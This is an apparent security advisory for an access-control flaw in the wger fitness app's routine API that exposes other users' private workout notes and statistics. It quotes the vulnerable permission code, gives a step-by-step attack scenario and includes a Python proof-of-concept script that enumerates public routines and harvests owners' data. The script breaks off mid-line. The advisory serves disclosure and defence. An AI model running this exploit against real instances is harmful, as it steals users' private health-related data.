WGER · CVE-2026-43977 · Package
NO FIX YET · SEE WHAT TO DO
wger's routine API lets any logged-in user read another user's workout session notes, exercise history and training statistics for any routine marked as a public template. An attacker with a free account gets a victim's private health-related training data.
first public May 14, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Any wger instance that is reachable by more than one user and where at least one user has marked a routine as a public template is exposed. Standalone single-user installs and instances with no public templates are not exposed through this path. The attacker only needs a normal account on the instance.
Not affected if managed-hosting, no-public-templates, single-user
Who cares cwe-200, cwe-284, cwe-639, django, python, self-hosted, wger
pip show wger and compare it to the affected range <= 2.5.is_template routines that other users have marked public, reachable at /api/v2/routine/?is_template=true.logs and stats actions in wger/manager/api/views.py and the has_object_permission check in .Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.
The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).
An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.
wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.
The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to authenticated user when the routine has , regardless of ownership. When the or actions are invoked against a routine the attacker does not own, they return the private workout history, not the attacker's.
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
wger/manager/api/permissions.pylogs and stats actions and restricts has_object_permission for those actions.is_template=True/logs//stats/File: wger/manager/api/permissions.py, lines 30–41
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
if obj.is_template: # ← any template is readable
return request.method in permissions.SAFE_METHODS # by any authenticated user
return False
File: wger/manager/api/views.py, lines 173–199
@action(detail=True, url_path='logs')
def logs(self, request, pk):
out = LogDisplaySerializer(
self.get_object().logs_display(), # ← returns OWNER's logs, not request.user's
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
out = LogStatsDataSerializer(
self.get_object().calculate_log_statistics() # ← owner's statistics
).data
return Response(out)
self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.
The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.
An authenticated attacker can:
Enumerate all public template routines across all users:
GET /api/v2/routine/?is_template=true&is_public=true
Read private workout session notes (freeform text entered by the victim after each workout session)
Read full workout history including exercise names, weights, repetitions, and dates
Read training statistics including volume, intensity, and set counts per muscle group and mesocycle
This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.
There are two users in the system:
alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.
bob : a second registered user who has never interacted with alice's account.
The attack:
Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.
Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.
Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.
Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.
For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.
Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.
No special permissions are needed. A fresh account (1-minute-old) can exploit this.
#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target: GET /api/v2/routine/{id}/logs/
GET /api/v2/routine/{id}/stats/
"""
import requests
import json
BASE_URL = "http://TARGET_IP" # replace with target
def get_token(username, password):
r = requests.post(
f"{BASE_URL}/api/v2/token",
json={"username": username, "password": password},
)
r.raise_for_status()
return r.json()["access"]
def exploit(attacker_token):
headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
print("[*] Step 1: Enumerating public template routines...")
r = requests.get(
f"{BASE_URL}/api/v2/routine/",
params={"is_template": "true", "is_public": "true"},
headers=headers,
)
routines = r.json().get("results", [])
print(f"[+] Found {len(routines)} public template routine(s)\n")
for routine in routines:
routine_id = routine["id"]
routine_name = routine["name"]
print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
logs_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
headers=headers,
)
if logs_r.status_code == 200:
sessions = logs_r.json()
print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
for session in sessions:
s = session.get("session", {})
print(f" Date: {s.get('date')}")
print(f" Notes: {s.get('notes')}") # ← private user notes
print(f" Impression: {s.get('impression')}")
print(f" Logs: {len(session.get('logs', []))} exercise entries")
print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
stats_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
headers=headers,
)
if stats_r.status_code == 200:
stats = stats_r.json()
print(f"[+] Training statistics for routine #{routine_id}:")
volume = stats.get("volume", {}).get("mesocycle", {})
print(f" Total volume: {volume.get('total')} kg")
print(f" Upper bo
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.